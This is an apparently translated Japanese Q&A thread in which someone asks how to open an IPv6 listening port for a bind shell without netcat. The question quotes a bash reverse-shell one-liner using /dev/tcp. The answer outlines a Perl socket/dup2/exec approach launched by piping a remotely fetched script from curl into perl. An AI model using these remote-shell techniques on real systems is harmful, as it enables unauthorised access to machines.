netcatなしでIPV6でリッスンポートを作成する

netcatなしでIPV6でリッスンポートを作成する

IPV6アドレスのポートでリッスンできるようにしたい(最終的にはバインドシェルの作成)。

バインドするLinux(debian)システムにインストールされているnetcatを使用しようとしています。残念ながら、IPV6ではなくIPV4 TCPポートにのみバインドされているようです。 (これはnetcatの以前のバージョンであり、IPV6をサポートしていません。)

私はリバースシェルにも同様の方法があることを知っていますが、私の状況に適した同様の方法があるかどうか疑問に思います。

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

私が助けることができないいくつかのルールがあります:

追加のアプリをインストールまたは更新したり、アプリを自分で作成したりすることはできません。

ベストアンサー1

いいえ。読む:NCリスニングの代わりに/dev/tcpリスニング

これ以上情報がない場合は、Debianの必須パッケージであるPerlのシステムバージョンを使用できます。単一ファイルのPerlスクリプトを作成します。たとえば、ターゲットシステムにアプリケーションとして存在せずに単一のファイルスクリプトを実行する方法をほぼ確実に見つけることができますcurl https://dropbox.com/.../script.pl | perl。スクリプトはstdinとstdoutをシステムコール、socket()bind()listen()fdを呼び出す前に置き換えます。dup2()close()exec()

pythonstandardDebian パッケージがインストールされている場合は、プログラミングが優れています。

明らかに、すでにインストールされている場合は、inetd独自の設定ファイルを使用して実行できます。 SSHを使うのが気に入らず、sshdSSHをインストールしたら使えます。他のどのオプションよりも確実に安全です:-P。読む:一般ユーザーとしてsshdを実行できますか?

おすすめ記事